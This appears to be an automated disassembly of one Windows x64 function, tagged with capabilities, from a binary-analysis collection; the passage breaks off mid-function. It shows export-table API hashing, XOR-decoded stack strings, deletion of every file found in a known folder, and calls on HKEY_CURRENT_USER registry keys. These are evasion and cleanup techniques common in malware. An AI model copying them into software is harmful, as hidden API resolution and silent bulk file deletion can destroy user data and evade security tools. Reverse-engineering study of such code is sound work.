Function at 0x140062f70
Capabilities:
Delete file
Enumerate files on windows
Get common file path
Query or enumerate registry key
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x2248]
sub rsp, 0x2340
mov qword [rax - 0x10], rbx
lea rcx, [rbp + 0x730]
mov qword [rax - 0x18], rsi
xor ebx, ebx
mov qword [rax - 0x20], rdi
xor edx, edx
mov qword [rax - 0x28], r12
mov r8d, 0x208
mov qword [rax - 0x30], r13
mov qword [rax - 0x38], r14
mov qword [rax - 0x40], r15
mov dword [rbp + 0x2250], ebx
mov qword [rbp + 0x2258], rbx
call fcn.1400a5760
xor edx, edx
lea rcx, [rbp + 0xb90]
mov r8d, 0x208
call fcn.1400a5760
mov r9, qword [0x140143798]
mov eax, 0xcff20a67
test r9, r9
jne 0x14006304b
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x140063020
mov rdi, qword [0x1401436a8]
nop dword [rax + rax]
cmp dword [rdi + 0x20], 0x2fb2e854
je 0x1400630b2
inc ecx
add rdi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x140063000
mov eax, 0xcff20a67
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov r9, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
xor r9, rax
mov qword [0x140143798], r9
xor r9, rax
jne 0x140063071
mov dword [0x140143468], 0x14
mov r9, rbx
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, 0x208
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call r9
mov qword [rbp + 0x2260], rax
test rax, rax
je 0x1400631cc
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call fcn.1400a5760
jmp 0x1400631d3
mov rsi, qword [rdi + 0x10]
mov r11d, ebx
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov r12d, dword [r13 + 0x88]
add r12, rsi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rsi
test r15d, r15d
je 0x140063139
nop dword [rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rsi
cmp byte [r9], dl
je 0x1400630fb
inc rdx
cmp byte [rdx + r9], bl
jne 0x1400630f2
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x140063131
mov rax, rbx
nop dword [rax]
movsx ecx, byte [r9 + rax]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x140063110
cmp ecx, 0xe040e233
je 0x14006314d
inc r11d
cmp r11d, r15d
jb 0x1400630e0
mov dword [0x140143468], 0x13
mov eax, 0xcff20a67
jmp 0x14006302a
cmp r11w, 0xffff
je 0x140063139
mov eax, dword [r12 + 0x24]
add rax, rsi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rsi
mov r9d, dword [rcx + rdx*4]
add r9, rsi
cmp r9, r12
jb 0x140063192
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rsi
add rax, rcx
cmp r9, rax
jbe 0x140063139
cmp r9, rsi
jb 0x140063139
mov eax, dword [r13 + 0x50]
add rax, rsi
cmp r9, rax
ja 0x140063139
test r9, r9
je 0x140063139
mov rcx, qword [rdi + 0x18]
mov eax, 0xcff20a67
add rcx, rsi
cmp r9, rcx
jbe 0x140063041
mov dword [0x140143468], 0x15
jmp 0x14006302a
mov qword [rbp + 0x2260], rbx
mov r9, qword [0x140143798]
test r9, r9
jne 0x140063362
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x140063217
mov rdi, qword [0x1401436a8]
nop dword [rax + rax]
cmp dword [rdi + 0x20], 0x2fb2e854
je 0x14006324c
inc ecx
add rdi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x140063200
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov r9, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov eax, 0xcff20a67
xor r9, rax
mov qword [0x140143798], r9
jmp 0x140063367
mov rsi, qword [rdi + 0x10]
mov r11d, ebx
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov r12d, dword [r13 + 0x88]
add r12, rsi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rsi
test r15d, r15d
je 0x1400632d9
nop word [rax + rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rsi
cmp byte [r9], dl
je 0x14006329b
inc rdx
cmp byte [rdx + r9], bl
jne 0x140063292
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x1400632d1
mov rax, rbx
nop dword [rax]
movsx ecx, byte [r9 + rax]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x1400632b0
cmp ecx, 0xe040e233
je 0x1400632e8
inc r11d
cmp r11d, r15d
jb 0x140063280
mov dword [0x140143468], 0x13
jmp 0x140063221
cmp r11w, 0xffff
je 0x1400632d9
mov eax, dword [r12 + 0x24]
add rax, rsi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rsi
mov r9d, dword [rcx + rdx*4]
add r9, rsi
cmp r9, r12
jb 0x14006332d
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rsi
add rax, rcx
cmp r9, rax
jbe 0x1400632d9
cmp r9, rsi
jb 0x1400632d9
mov eax, dword [r13 + 0x50]
add rax, rsi
cmp r9, rax
ja 0x1400632d9
test r9, r9
je 0x1400632d9
mov rcx, qword [rdi + 0x18]
add rcx, rsi
cmp r9, rcx
jbe 0x140063238
mov dword [0x140143468], 0x15
jmp 0x140063221
mov eax, 0xcff20a67
xor r9, rax
jne 0x14006338d
mov dword [0x140143468], 0x14
mov r9, rbx
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, 0x208
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call r9
mov qword [rbp + 0x2268], rax
test rax, rax
je 0x1400633c7
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call fcn.1400a5760
jmp 0x1400633ce
mov qword [rbp + 0x2268], rbx
mov r9, qword [0x140143798]
test r9, r9
jne 0x140063552
mov rdx, qword [0x1401436b0]
mov ecx, ebx
test rdx, rdx
je 0x14006340a
mov rsi, qword [0x1401436a8]
cmp dword [rsi + 0x20], 0x2fb2e854
je 0x14006343f
inc ecx
add rsi, 0x28
movsxd rax, ecx
cmp rax, rdx
jb 0x1400633f3
mov dword [0x140143468], 0x12
mov byte [0x140143245], bl
mov r9, rbx
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov eax, 0xcff20a67
xor r9, rax
mov qword [0x140143798], r9
jmp 0x140063557
mov rdi, qword [rsi + 0x10]
mov r11d, ebx
movsxd r13, dword [rdi + 0x3c]
add r13, rdi
mov r12d, dword [r13 + 0x88]
add r12, rdi
mov r14d, dword [r12 + 0x20]
mov r15d, dword [r12 + 0x18]
add r14, rdi
test r15d, r15d
je 0x1400634c9
nop dword [rax]
mov eax, r11d
mov rdx, rbx
movsxd r9, dword [r14 + rax*4]
add r9, rdi
cmp byte [r9], dl
je 0x14006348b
inc rdx
cmp byte [rdx + r9], bl
jne 0x140063482
mov r10d, ebx
mov r8d, ebx
test rdx, rdx
je 0x1400634c1
mov rax, rbx
nop dword [rax]
movsx ecx, byte [r9 + rax]
inc r8d
imul eax, r10d, 0x1f
add ecx, eax
mov eax, r8d
mov r10d, ecx
cmp rax, rdx
jb 0x1400634a0
cmp ecx, 0xe040e233
je 0x1400634d8
inc r11d
cmp r11d, r15d
jb 0x140063470
mov dword [0x140143468], 0x13
jmp 0x140063414
cmp r11w, 0xffff
je 0x1400634c9
mov eax, dword [r12 + 0x24]
add rax, rdi
movsx rcx, r11w
movsx rdx, word [rax + rcx*2]
mov ecx, dword [r12 + 0x1c]
add rcx, rdi
mov r9d, dword [rcx + rdx*4]
add r9, rdi
cmp r9, r12
jb 0x14006351d
mov eax, dword [r13 + 0x8c]
mov ecx, dword [r13 + 0x88]
add rax, rdi
add rax, rcx
cmp r9, rax
jbe 0x1400634c9
cmp r9, rdi
jb 0x1400634c9
mov eax, dword [r13 + 0x50]
add rax, rdi
cmp r9, rax
ja 0x1400634c9
test r9, r9
je 0x1400634c9
mov rcx, qword [rsi + 0x18]
add rcx, rdi
cmp r9, rcx
jbe 0x14006342b
mov dword [0x140143468], 0x15
jmp 0x140063414
mov eax, 0xcff20a67
xor r9, rax
jne 0x14006357d
mov dword [0x140143468], 0x14
mov r9, rbx
mov byte [0x140143245], bl
mov qword [0x140143470], rbx
mov qword [0x140143478], rbx
mov rax, qword gs:[0x30]
xor edx, edx
mov r8d, 0x208
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call r9
mov rsi, rax
test rax, rax
je 0x1400635b3
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call fcn.1400a5760
jmp 0x1400635b6
mov rsi, rbx
lea r9, [rbp + 0x2258]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400c2a08]
call sub.SHELL32.dll_SHGetKnownFolderPath
mov r8, qword [rbp + 0x2258]
mov r9, 0xffffffffffffffff
nop dword [rax]
inc r9
cmp word [r8 + r9*2], bx
jne 0x1400635e0
mov edx, 0x104
lea rcx, [rbp + 0x730]
call fcn.1400a8478
movabs r14, 0x1f0b3e3324999a42
movabs r9, 0x46915fca0fbbc65b
mov qword [rbp + 0x140], r9
movabs rcx, 0x9bd040e413016e15
mov qword [rbp + 0x158], rcx
movabs rax, 0x91b4c040eb73fc95
mov qword [rbp + 0x160], rax
movabs r11, 0x639667bd19bd60b7
mov qword [rbp + 0x130], r11
movabs r10, 0x1b3cebe107459be
mov qword [rbp + 0x198], rcx
movabs r11, 0x83a97f88aca6a37f
mov qword [rbp + 0x420], r11
movabs r8, 0x59f35a5be6b1a257
mov qword [rbp + 0x1a0], rax
movabs r15, 0x63f567d419f060eb
mov qword [rbp + 0x180], r9
movabs rdi, 0x1dccecd101b59cc
movabs r12, 0x46c65f960fcfc63d
mov qword [rbp + 0x138], r10
movdqa xmm0, xmmword [rbp + 0x130]
movabs r13, 0x599c5a3fe6dfa23e
mov qword [rbp + 0x148], r8
movabs r11, 0x9bbe408113626e70
movdqa xmm1, xmmword [rbp + 0x140]
movabs rdx, 0x83fb7fd4acd5a308
mov qword [rbp + 0x428], r11
movabs rcx, 0x9bbe408113626e70
movabs r11, 0x91b4c06aeb2ffce1
mov qword [rbp + 0x150], rdx
mov qword [rbp + 0x168], r14
movabs rax, 0x83a97f88aca6a37f
mov qword [rbp + 0x430], r11
mov r9, 0xffffffffffffffff
mov qword [rbp + 0x188], r8
movabs r11, 0x639667bd19bd60b7
mov qword [rbp + 0x170], r11
mov qword [rbp + 0x178], r10
mov qword [rbp + 0x468], rcx
movabs rcx, 0x91b4c06aeb2ffce1
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x1a8], r14
mov qword [rbp + 0x460], rax
lea rax, [rbp + 0x130]
mov qword [rbp + 0x400], r15
mov qword [rbp + 0x408], rdi
pxor xmm0, xmmword [rbp + 0x400]
movdqa xmmword [rbp + 0x130], xmm0
movdqa xmm0, xmmword [rbp + 0x150]
pxor xmm0, xmmword [rbp + 0x420]
movdqa xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x410], r12
mov qword [rbp + 0x418], r13
pxor xmm1, xmmword [rbp + 0x410]
movdqa xmmword [rbp + 0x140], xmm1
movdqa xmm1, xmmword [rbp + 0x160]
mov qword [rbp + 0x438], r14
pxor xmm1, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x160], xmm1
movdqa xmm1, xmmword [rbp + 0x180]
mov qword [rbp + 0x440], r15
mov qword [rbp + 0x448], rdi
movdqa xmm0, xmmword [rbp + 0x440]
pxor xmm0, xmmword [rbp + 0x170]
movdqa xmmword [rbp + 0x170], xmm0
movdqa xmm0, xmmword [rbp + 0x190]
pxor xmm0, xmmword [rbp + 0x460]
mov qword [rbp + 0x450], r12
mov qword [rbp + 0x458], r13
pxor xmm1, xmmword [rbp + 0x450]
movdqa xmmword [rbp + 0x180], xmm1
movdqa xmm1, xmmword [rbp + 0x1a0]
mov qword [rbp + 0x470], rcx
mov qword [rbp + 0x478], r14
pxor xmm1, xmmword [rbp + 0x470]
movdqa xmmword [rbp + 0x1a0], xmm1
movdqa xmmword [rbp + 0x190], xmm0
nop word [rax + rax]
inc r9
cmp word [rax + r9*2], bx
jne 0x140063870
lea r8, [rbp + 0x170]
mov edx, 0x104
lea rcx, [rbp + 0x730]
call fcn.1400a8378
xor edx, edx
lea rcx, [rbp + 0x940]
mov r8d, 0x250
call fcn.1400a5760
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x730]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140065138
lea rdx, [rbp + 0x940]
movaps xmmword [rsp + 0x22f0], xmm6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14006397a
nop dword [rax + rax]
lea rax, [rbp + 0x730]
mov r9, 0xffffffffffffffff
nop
inc r9
cmp word [rax + r9*2], bx
jne 0x140063900
dec r9
lea r8, [rbp + 0x730]
mov edx, 0x104
lea rcx, [rbp + 0xb90]
call fcn.1400a8478
lea rax, [rbp + 0x96c]
mov r9, 0xffffffffffffffff
inc r9
cmp word [rax + r9*2], bx
jne 0x140063933
lea r8, [rbp + 0x96c]
mov edx, 0x104
lea rcx, [rbp + 0xb90]
call fcn.1400a8378
lea rcx, [rbp + 0xb90]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x940]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400638f0
movabs rax, 0x638167b2199f60b8
mov qword [rbp + 0x5e0], r15
mov qword [rbp + 0x240], rax
movabs rcx, 0x1dccecd101b59cc
movabs rax, 0x1b9cebf107a59bb
mov qword [rbp + 0x5e8], rcx
mov qword [rbp + 0x248], rax
movabs rcx, 0x46c65f960fcfc63d
movdqa xmm6, xmmword [rbp + 0x240]
movabs rax, 0x46a55fff0f82c661
pxor xmm6, xmmword [rbp + 0x5e0]
movabs rdx, 0xe78ec46fdd09954e
mov qword [rbp + 0x250], rax
movabs r12, 0x83fe7fd4acd2a319
movabs rax, 0x59f35a4ce6b0a24c
mov qword [rbp + 0x5f0], rcx
mov qword [rbp + 0x258], rax
movabs r13, 0x9bd140e5130c6e19
movdqa xmm0, xmmword [rbp + 0x250]
movabs rax, 0x91f7c036eb5cfc96
mov qword [rbp + 0x270], rax
movabs rcx, 0x599c5a3fe6dfa23e
movabs rax, 0x1f6e3e4124eb9a37
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x278], rax
movabs r15, 0xececd6cca8715933
movabs rax, 0xec89d69aa805595d
mov qword [rbp + 0x268], r13
mov qword [rbp + 0x280], rax
movabs rdi, 0x1c25a2656b1e6c34
movabs rax, 0x1c4aa20c6b6d6c46
mov qword [rbp + 0x2d8], rdx
mov qword [rbp + 0x288], rax
movabs rax, 0xbfb0212b77004fab
mov qword [rbp + 0x290], rax
movabs rax, 0xdc97ad18c4360556
mov qword [rbp + 0x298], rax
movabs rax, 0xbe68cf3c1cf5a042
mov qword [rbp + 0x2a0], rax
movabs rax, 0x839e29fd3c6a8f37
mov qword [rbp + 0x2a8], rax
movabs rax, 0xf6f6a7106e2453ce
mov qword [rbp + 0x2b0], rax
movabs rax, 0x5ec6a28e4d409105
mov qword [rbp + 0x2b8], rax
movabs rax, 0xb42168722be17fa8
mov qword [rbp + 0x2c0], rax
movabs rax, 0xe030dc9939d8898c
mov qword [rbp + 0x2c8], rax
movabs rax, 0xf90d3c930ad1bb80
mov qword [rbp + 0x2d0], rax
movabs rax, 0x83a97f88aca6a37f
mov qword [rbp + 0x600], rax
movabs rax, 0x9bbe408113626e70
mov qword [rbp + 0x608], rax
movabs rax, 0x91b4c06aeb2ffce1
mov qword [rbp + 0x610], rax
movabs rax, 0xbfc8216e775c4fc5
mov qword [rbp + 0x630], rax
movabs rax, 0xdce5ad77c45a0526
mov qword [rbp + 0x638], rax
movabs rax, 0xbe2bcf601c87a027
mov qword [rbp + 0x640], rax
movabs rax, 0x83f229b93c078f58
mov qword [rbp + 0x648], rax
movabs rax, 0xf6aaa7226e1753a9
mov qword [rbp + 0x650], rax
movabs rax, 0x5ea8a2eb4d30914a
mov qword [rbp + 0x658], rax
movabs rax, 0xb44468042b807ffb
mov qword [rbp + 0x660], rax
movabs rax, 0xe05cdcfd39b189dc
mov qword [rbp + 0x668], rax
movabs rax, 0xf90d3cc60a83bbcd
mov qword [rbp + 0x670], rax
mov qword [rbp + 0x5f8], rcx
mov qword [rbp + 0x618], r14
mov qword [rbp + 0x620], r15
mov qword [rbp + 0x628], rdi
mov qword [rbp + 0x678], rdx
movdqa xmmword [rbp + 0x240], xmm6
pxor xmm0, xmmword [rbp + 0x5f0]
lea rcx, [rbp + 0xda0]
movdqa xmm1, xmmword [rbp + 0x260]
xor edx, edx
pxor xmm1, xmmword [rbp + 0x600]
mov r8d, 0x410
movdqa xmmword [rbp + 0x250], xmm0
movdqa xmm0, xmmword [rbp + 0x270]
pxor xmm0, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x270], xmm0
movdqa xmm0, xmmword [rbp + 0x290]
pxor xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x260], xmm1
movdqa xmm1, xmmword [rbp + 0x280]
pxor xmm1, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x290], xmm0
movdqa xmm0, xmmword [rbp + 0x2b0]
pxor xmm0, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0x280], xmm1
movdqa xmm1, xmmword [rbp + 0x2a0]
pxor xmm1, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x2b0], xmm0
movdqa xmm0, xmmword [rbp + 0x2d0]
pxor xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x2a0], xmm1
movdqa xmm1, xmmword [rbp + 0x2c0]
pxor xmm1, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0x2d0], xmm0
movdqa xmmword [rbp + 0x2c0], xmm1
call fcn.1400a5760
movq rax, xmm6
mov edx, ebx
test ax, ax
je 0x140063d3e
cmp edx, 0x208
jae 0x140063d3e
mov eax, edx
inc edx
lea rcx, [rax + rax]
movzx eax, word [rbp + rcx + 0x240]
mov word [rbp + rcx + 0xda0], ax
cmp word [rbp + rdx*2 + 0x240], bx
jne 0x140063d14
lea rdx, [rbp + 0xda0]
mov rcx, 0xffffffff80000001
call fcn.140066670
movabs rax, 0x638167b2199f60b8
mov qword [rbp + 0x588], r14
mov qword [rbp + 0x1b0], rax
movabs rax, 0x1b9cebf107a59bb
mov qword [rbp + 0x1b8], rax
movabs rax, 0x46a75ffa0f8cc661
mov qword [rbp + 0x1c0], rax
movabs rax, 0x59ef5a5ae6aca24d
movdqa xmm6, xmmword [rbp + 0x1b0]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x83ca7fe7aceaa323
movdqa xmm0, xmmword [rbp + 0x1c0]
mov qword [rbp + 0x1d0], rax
movabs rax, 0x9bed40a1130e6e11
mov qword [rbp + 0x1d8], rax
movabs rax, 0x91ddc01eeb5bfc84
movdqa xmm1, xmmword [rbp + 0x1d0]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x1f573e4024fe9a2c
mov qword [rbp + 0x1e8], rax
movabs rax, 0xec98d6aaa81e5960
mov qword [rbp + 0x1f0], rax
movabs rax, 0x1c40a2176b7f6c43
mov qword [rbp + 0x1f8], rax
movabs rax, 0xbfab210777114f99
mov qword [rbp + 0x200], rax
movabs rax, 0xdc8aad04c4350554
mov qword [rbp + 0x208], rax
movabs rax, 0xbe7ccf3c1cf3a041
mov qword [rbp + 0x210], rax
movabs rax, 0x839d29dd3c698f31
mov qword [rbp + 0x218], rax
movabs rax, 0xf6f9a77e6e6453de
mov qword [rbp + 0x220], rax
movabs rax, 0x5ec4a2874d559122
mov qword [rbp + 0x228], rax
movabs rax, 0xb42368652bc27fa7
mov qword [rbp + 0x230], rax
movabs rax, 0xe05cdca839e38991
mov qword [rbp + 0x238], rax
movabs rax, 0x63f567d419f060eb
mov qword [rbp + 0x550], rax
movabs rax, 0x1dccecd101b59cc
mov qword [rbp + 0x558], rax
movabs rax, 0x46c65f960fcfc63d
pxor xmm6, xmmword [rbp + 0x550]
mov qword [rbp + 0x560], rax
movabs rax, 0x599c5a3fe6dfa23e
mov qword [rbp + 0x568], rax
movabs rax, 0x83a97f88aca6a37f
pxor xmm0, xmmword [rbp + 0x560]
mov qword [rbp + 0x570], rax
movabs rax, 0x9bbe408113626e70
mov qword [rbp + 0x578], rax
movabs rax, 0x91b4c06aeb2ffce1
pxor xmm1, xmmword [rbp + 0x570]
mov qword [rbp + 0x580], rax
movabs rax, 0xbfc8216e775c4fc5
mov qword [rbp + 0x5a0], rax
movabs rax, 0xdce5ad77c45a0526
mov qword [rbp + 0x5a8], rax
movabs rax, 0xbe2bcf601c87a027
mov qword [rbp + 0x5b0], rax
movabs rax, 0x83f229b93c078f58
mov qword [rbp + 0x5b8], rax
movabs rax, 0xf6aaa7226e1753a9
mov qword [rbp + 0x5c0], rax
movabs rax, 0x5ea8a2eb4d30914a
mov qword [rbp + 0x5c8], rax
movabs rax, 0xb44468042b807ffb
mov qword [rbp + 0x5d0], rax
movabs rax, 0xe05cdcfd39b189dc
mov qword [rbp + 0x5d8], rax
mov qword [rbp + 0x590], r15
mov qword [rbp + 0x598], rdi
movdqa xmmword [rbp + 0x1b0], xmm6
movdqa xmmword [rbp + 0x1c0], xmm0
movdqa xmmword [rbp + 0x1d0], xmm1
movdqa xmm0, xmmword [rbp + 0x1e0]
lea rcx, [rbp + 0x11b0]
pxor xmm0, xmmword [rbp + 0x580]
xor edx, edx
movdqa xmm1, xmmword [rbp + 0x1f0]
mov r8d, 0x410
pxor xmm1, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x1e0], xmm0
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp + 0x5a0]
movdqa xmmword [rbp + 0x1f0], xmm1
movdqa xmm1, xmmword [rbp + 0x210]
pxor xmm1, xmmword [rbp + 0x5b0]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmm0, xmmword [rbp + 0x220]
pxor xmm0, xmmword [rbp + 0x5c0]
movdqa xmmword [rbp + 0x210], xmm1
movdqa xmm1, xmmword [rbp + 0x230]
pxor xmm1, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmmword [rbp + 0x230], xmm1
call fcn.1400a5760
movq rax, xmm6
mov edx, ebx
test ax, ax
je 0x1400640ba
nop
cmp edx, 0x208
jae 0x1400640ba
mov eax, edx
inc edx
lea rcx, [rax + rax]
movzx eax, word [rbp + rcx + 0x1b0]
mov word [rbp + rcx + 0x11b0], ax
cmp word [rbp + rdx*2 + 0x1b0], bx
jne 0x140064090
lea rdx, [rbp + 0x11b0]
mov rcx, 0xffffffff80000001
call fcn.140066670
movabs rax, 0x638167b2199f60b8
mov qword [rbp - 0x80], r12
mov qword [rsp + 0x60], rax
movabs rcx, 0x63f567d419f060eb
mov qword [rbp + 0x20], rcx
movabs rax, 0x1b9cebf107a59bb
mov qword [rsp + 0x68], rax
movabs rcx, 0x1dccecd101b59cc
mov qword [rbp + 0x28], rcx
movabs rax, 0x46a55fff0f82c661
mov qword [rsp + 0x70], rax
movabs rcx, 0x46c65f960fcfc63d
mov qword [rbp + 0x30], rcx
movabs rax, 0x59f35a4ce6b0a24c
mov qword [rsp + 0x78], rax
movabs rcx, 0x599c5a3fe6dfa23e
mov qword [rbp + 0x38], rcx
movabs rax, 0x91fac04aeb5cfc96
mov qword [rbp - 0x70], rax
movabs rcx, 0x83a97f88aca6a37f
mov qword [rbp + 0x40], rcx
movabs rax, 0x1f7e3e7024c59a16
mov qword [rbp - 0x68], rax
movabs rcx, 0x9bbe408113626e70
mov qword [rbp + 0x48], rcx
movabs rax, 0xec82d6a9a8035941
mov qword [rbp - 0x60], rax
movabs rcx, 0x91b4c06aeb2ffce1
mov qword [rbp + 0x50], rcx
movabs rax, 0x1c57a2006b486c40
mov qword [rbp - 0x58], rax
movabs rcx, 0xbfc8216e775c4fc5
mov qword [rbp + 0x70], rcx
movabs rax, 0xbfa6210177354fb6
mov qword [rbp - 0x50], rax
movabs rcx, 0xdce5ad77c45a0526
mov qword [rbp + 0x78], rcx
movabs rax, 0xdc95ad07c41b057a
mov qword [rbp - 0x48], rax
movabs rcx, 0xbe2bcf601c87a027
mov qword [rbp + 0x80], rcx
movabs rax, 0xbe5bcf0d1ce8a064
mov qword [rbp - 0x40], rax
movabs rcx, 0x83f229b93c078f58
movabs rax, 0x839e29ff3c738f39
mov qword [rbp + 0x88], rcx
mov qword [rbp - 0x38], rax
movabs rcx, 0xb44468042b807ffb
movabs rax, 0xf6f6a7516e7053c8
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x30], rax
movabs r12, 0xf6aaa7226e1753a9
movabs rax, 0x5ed8a2864d5f9109
mov qword [rbp + 0xa0], rcx
mov qword [rbp - 0x28], rax
movabs r13, 0x5ea8a2eb4d30914a
movabs rax, 0xb426686d2bf47f9a
mov qword [rbp + 0x58], r14
mov qword [rbp - 0x20], rax
movabs rcx, 0xe05cdcfd39b189dc
movabs rax, 0xe028dc9439dd89b5
mov qword [rbp + 0x60], r15
mov qword [rbp - 0x18], rax
movabs rax, 0xf97e3c870aa3bbb4
mov qword [rbp - 0x10], rax
movabs rax, 0xe7fac41cdd60953d
mov qword [rbp - 8], rax
movabs rax, 0xc0fabf4cc27d47ee
mov qword [rbp], rax
movabs rax, 0x4e771dde69c1ead3
mov qword [rbp + 8], rax
movabs rax, 0xe203c09a297b1994
mov qword [rbp + 0x10], rax
movabs rax, 0x984fa263cbde5252
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r13
movdqa xmm0, xmmword [rsp + 0x70]
xor edx, edx
pxor xmm0, xmmword [rbp + 0x30]
mov r8d, 0x410
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rbp + 0x40]
movdqa xmm6, xmmword [rsp + 0x60]
pxor xmm6, xmmword [rbp + 0x20]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x70]
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [rbp - 0x50]
pxor xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm1, xmmword [rbp - 0x60]
pxor xmm1, xmmword [rbp + 0x60]
mov qword [rbp + 0xa8], rcx
movabs rcx, 0xf90d3cc60a83bbcd
mov qword [rbp + 0xb0], rcx
movabs rcx, 0xe78ec46fdd09954e
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm1, xmmword [rbp + 0x80]
mov qword [rbp + 0xb8], rcx
movabs rcx, 0xc0a6bf38c213478f
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm0, xmmword [rbp - 0x10]
pxor xmm0, xmmword [rbp + 0xb0]
mov qword [rbp + 0xc0], rcx
movabs rcx, 0x4e051db169b5ea80
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [rbp - 0x20]
pxor xmm1, xmmword [rbp + 0xa0]
mov qword [rbp + 0xc8], rcx
movabs rcx, 0xe203c09a297b19f1
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm1, xmmword [rbp]
pxor xmm1, xmmword [rbp + 0xc0]
mov qword [rbp + 0xd0], rcx
lea rcx, [rbp + 0x15c0]
mov qword [rbp + 0xd8], rax
pxor xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rbp], xmm1
call fcn.1400a5760
movq rax, xmm6
mov edx, ebx
test ax, ax
je 0x140064467
cmp edx, 0x208
jae 0x140064467
mov eax, edx
inc edx
lea rcx, [rax + rax]
movzx eax, word [rsp + rcx + 0x60]
mov word [rbp + rcx + 0x15c0], ax
cmp word [rsp + rdx*2 + 0x60], bx
jne 0x140064443
lea rdx, [rbp + 0x15c0]
mov rcx, 0xffffffff80000001
call fcn.140066670
movabs rax, 0x638167b2199f60b8
mov qword [rbp + 0x6b8], r14
mov qword [rbp + 0x2e0], rax
movabs rcx, 0xe78ec46fdd09954e
movabs rax, 0x1b9cebf107a59bb
mov qword [rbp + 0x378], rcx
mov qword [rbp + 0x2e8], rax
movabs rax, 0x46a75ffa0f8cc661
movdqa xmm6, xmmword [rbp + 0x2e0]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x59ef5a5ae6aca24d
mov qword [rbp + 0x2f8], rax
